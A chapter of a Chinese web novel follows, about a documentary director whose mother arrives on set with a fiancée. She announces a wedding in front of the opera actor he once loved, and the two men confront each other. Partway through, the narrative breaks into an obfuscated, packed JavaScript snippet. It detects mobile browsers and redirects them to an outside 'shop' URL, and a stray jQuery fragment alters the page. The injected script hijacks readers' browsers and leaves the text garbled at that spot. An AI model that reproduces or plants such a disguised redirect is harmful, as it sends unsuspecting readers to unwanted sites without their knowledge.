成都这深秋，太阳压根儿就见不着了。天灰蒙蒙地压着，也不知道它整天郁闷啥，感觉随时都憋着一场雨。


    那湿气啊，不光往骨头缝里钻，也往陈声和心里钻。


    陈声和这会儿正在临时剪辑室里，一遍遍看着上午拍的素材。屏幕上，李霄川武生扮相，正好定格在一个漂亮的亮相动作上。


    他手指头不自觉地抬了抬，像是想去碰碰屏幕，又猛地缩了回来。


    “导演！”林瑶突然推门冲进来，连门都忘了敲。她举着手机，声音压得低低的，却藏不住那着急：“您母亲到成都了，正往川剧院这儿赶呢！”


    陈声和蹭地站起来，连耳机线被扯掉了都没察觉：“谁？”


    他声音发紧，像是被人掐住了喉咙。


    林瑶偷偷瞄了眼不远处的化妆室，声音更低了：“还……带着一位黄小姐。”


    她把微信聊天记录怼到他眼前，最新一条明晃晃写着：带嘉雯一起去看阿和工作，给我个地址。


    陈声和觉得太阳穴突突直跳。老妈突然杀过来已经够吓人了，居然还把黄嘉雯给捎上了。


    “你就说我在补拍镜头，让她们先去酒店安顿……”他话还没说完，片场门口就传来了熟悉的潮汕口音：“老张啊，好久不见，对对，我来看看阿和。”


    陈婉琼穿着深色新中式套装就进来了，手腕上那个翡翠镯子晃悠。黄嘉雯跟在她旁边，杏色连衣裙衬得整个人温温柔柔的。


    “声和。”她笑着挥挥手，指甲上精心做的珠光一闪一闪的。


    “妈。”陈声和硬着头皮走过去，嗓子眼跟吞了块烧红的炭似的，“您来怎么也不提前打声招呼啊？”


    陈婉琼笑眯眯地拍了拍黄嘉雯的手背：“知道你忙，正好嘉雯来成都出差，就一块儿来了。”她四下打量着，“这就是你拍戏的地方啊？”


    陈声和攥了攥拳头：“咱们先回酒店吧，我这儿正忙着呢。”


    “不用不用，”陈婉琼直接打断他，“我们随便转转，还没见过正经川剧院什么样呢。”


    她转头看向林瑶：“瑶瑶啊，能带我们逛逛不？”


    就在这时，化妆间的门开了。李霄川走出来，已经卸了半边妆，左脸还留着武生的胭脂，右脸却苍白得吓人。


    他手里还捏着卸妆棉，看见黄嘉雯挽着陈声和胳膊的瞬间，动作一下子停住了。


    “这位是？”他嘴角往上挑了挑，露出个似笑非笑的表情，就跟戏台上许仙见到法海时那个笑一模一样。


    陈婉琼上前半步，目光在李霄川脸上逡巡：“我们是声和的家人。”她突然眯起眼睛，“你是不是上过央视那个戏曲节目？”


    “妈！”陈声和声音太急，引得几个工作人员转头。他深吸一口气，“我在工作，你们先回酒店。”


    李霄川却轻笑一声，用戏腔念白：“晚生李霄川，见过老夫人。”


    陈婉琼身子明显一僵，随即若无其事的笑了起来：“小李也在啊？正好，我们第一次来成都，中午一起吃饭吧。”


    陈声和看见李霄川喉结动了动，最后扯出个笑，说了声“好”。


    那声“好”的尾音有点抖，跟戏文里唱到高音时快要绷不住的情绪。


    因为两个意外访客，今天的拍摄提前结束了。


    中午订的川菜馆包厢，本来该是满桌红油鲜辣，结果菜一上来，几乎全换成了清炒时蔬、白灼虾，就只剩一盘油亮的干煸肥肠格格不入。


    那是陈声和特意给李霄川点的。


    空气里飘着花椒的辛香，却不知怎么混进一缕花茶的清甜。


    陈声和盯着面前的青花瓷杯出神，杯底沉着几片舒展开的凤凰单丛茶叶，锯齿状的叶缘和潮汕老宅后山那些野茶树的叶子一样。


    李霄川记得他爱喝什么，特意让服务员换的。


    可他母亲已经不由分说地推过来一杯熟普，深褐色的茶汤在青瓷杯里晃，沿着杯沿溢出来一点。


    “嘉雯在英国读艺术管理，正好能帮阿和打理纪录片海外发行的事。”陈婉琼夹了块夫妻肺片放到黄嘉雯碗里，“他们俩小时候就常一块玩，阿和六岁那年还说以后要娶……”


    一声脆响，李霄川的筷子在碗沿磕出个颤音。他垂着眼睫，喉结在修长的脖颈上滚动了一下，像是把什么话生生咽了回去。


    陈声和看见他手背上凸起的青筋，这人每次强压情绪的时候都这样。


    “小李脸色不太好啊？”陈婉琼舀了碗鸡汤推过去，腕上的翡翠镯子撞在转盘上，“成都湿气重，我们潮汕人最怕这个。阿和他爸特意让我带了老陈皮过来。”


    “妈，”陈声和打断她，“我们下午还要拍……”


    “急什么？”陈婉琼从爱马仕包里取出烫金请柬，大红色的封面有点扎眼，“正好，下月初八，到时候在祠堂宣布他和嘉雯的婚事。”


    她突然转向李霄川，脸上堆着客套的笑：“小李要是档期合适，也来喝杯喜酒？我们潮汕的四句可比川剧热闹。”


    包厢里一下子静得吓人。


    陈声和看见李霄川左手攥着餐巾。


    “好啊，到时候我一定到。”李霄川的声音出奇地平静，甚至带点笑意接过了喜帖。可他越是这样，陈声和心里越堵得慌。


    黄嘉雯伸手扯了扯陈声和的袖口，美甲尖不小心蹭到他腕间那个被功夫茶烫伤的旧疤：“声和，下午我们去逛逛吧？”


    陈声和还没开口，林瑶正好推门进来，带进一阵穿堂风：“陈导，制片方的人来了。”


    “我去结账。”陈声和几乎是弹起来的，椅子在地毯上磨出沉闷的一声。


    他撞开包厢门的时候，听见身后李霄川在给黄嘉雯添茶，声音轻得发飘：


    “黄小姐尝尝这个红糖糍粑，甜的东西……能压住苦味。”


    当然没有什么制片方来，是他给林瑶发信息，让她进来替自己解围的。


    洗手间里，陈声和对着洗手池干呕，声音在瓷砖墙之间撞来撞去，碎成一地。


    他撑着冰凉的大理石台面，一抬头，就看见镜子里的自己……眼睛红得吓人，像唱戏的胭脂没抹对地方，全蹭眼眶上了。


    冷水哗哗地冲着手腕，流过那块浅茶色的疤。这里的皮肤好像特别薄，一碰就发凉。


    “恭喜啊，陈导。”


    熟悉的声音在身后响起，带着些许沙哑的尾音。


    陈声和从镜子里看见李霄川靠在门框上。他没化妆，脸在惨白的灯光底下没什么血色，只有嘴唇还留着刚才被辣椒激出来的红，像淡淡抿过一层胭脂。


    他今天依旧穿了件黑色高领毛衣，衬得脖颈线条愈发凌厉。


    “提前祝你新婚快乐。”


    陈声和从镜子里看着他，睫毛上还挂着水珠：“你不该来的。”


    “是啊，我该像过去这五年一样，”李霄川往前走了一步，身上带着川椒和陈皮的辛辣气，“继续装不认识你。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005892|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他的目光扫过陈声和发红的眼角：“陈导现在多厉害啊，拍非遗，拍传统文化，就是不敢拍真正的你自己。”


    手突然按上陈声和的后颈，拇指不偏不倚，压住那颗淡褐色的小痣。大学那会儿，每次抱他，李霄川就爱亲这儿。


    “陈声和，”他的声音沙哑，像把刀在慢慢割着神经，麻药都不愿施舍一滴，“你知道怎么在我身上插刀才最痛。”


    他弯下腰，眼睛死死盯着这张在梦里见过无数遍的脸。眼眶也红了，声音跟着发涩：“嗯？就这么恨我？”


    说完，他没等回答，直起身退了几步，皮鞋跟敲在地砖上，一声一声特别清楚。走到门口，他忽然回头，嘴角一挑，像个排练好的舞台笑。


    “婚礼我就不去了，那就……”


    “那就……祝陈导早生贵子，儿孙满堂。”


    “愿你……夫妻恩爱，阖、家、欢、乐。”


    “咔哒”一声轻响，门合上了。


    世界一下子静得可怕。


    陈声和像被抽了骨头，背贴着冰冷的洗手台，猛地滑坐到地上。


    那几句话像电钻上沾了辣椒，顺着耳朵往里钻，扎进心里，再跟着心跳一下一下往血管里跑，又密又疼。


    他死死咬住手背，不让自己出声。牙印陷进肉里，留下弯弯的红痕，像大三那年躲在祠堂后巷哭的时候一样。


    那时候他也这样咬着手指，怕被路过的族老发现陈家独子的狼狈。


    兜兜转转，他还是那个被困住的陈声和。


    李霄川祝他新婚快乐……


    祝他早生贵子……


    祝他儿孙满堂……


    祝他……夫妻恩爱……


    每一个字，都是一记响亮的耳光，打碎了他所有的伪装，也打醒了他们之间那早已千疮百孔，却仍被他们偷偷珍藏的过去。


    ……


    回到片场的时候，陈婉琼正拉着黄嘉雯在川剧道具箱前面摆姿势拍照。


    李霄川在帮她们调整头饰，修长的手指灵活地翻着珠花，像个尽职的化妆师。


    阳光从棚顶的玻璃窗斜斜地照进来，落在他身上，衬得他整个人挺拔又干净。刚才在洗手间里那场对峙，好像从来就没发生过。


    “阿和你看看，”陈婉琼举起手机，“嘉雯戴这个多好看！等你们结婚的时候，也订一顶这样的。”


    “妈！”陈声和的声音猛地拔高，又硬又冷。


    一瞬间，整个片场都静了下来。旁边举反光板的工作人员被他吓了一跳，手都抖了一下。


    林瑶反应快，立刻挽住黄嘉雯：“黄小姐，要不要试试那套水袖？我带您去……”


    等她们走远了，陈婉琼脸一沉，精心画好的眉毛拧成了一条线：“你还要任性到什么时候？你可从没跟我说，是专门来拍这个戏子的！”


    “这是我的工作。”陈声和攥紧监控器的支架，金属的凉意从掌心渗进来。


    “工作工作，你就知道工作！”陈婉琼压着嗓子，“你知道老家那边都怎么说？说陈家独子跟他爸一个样，这辈子都生不出孩子，一天到晚就知道拍那些戏子……”


    “他不是戏子！”陈声和突然吼了出来，声音大得惊飞了屋檐下的麻雀。


    远处正在调光的场务全都回头看过来。


    他在那些探究的目光里挺直背，一字一句地说：“李霄川，是国家一级演员，是上了国家名录的非遗传承人，他是活着的川剧历史。”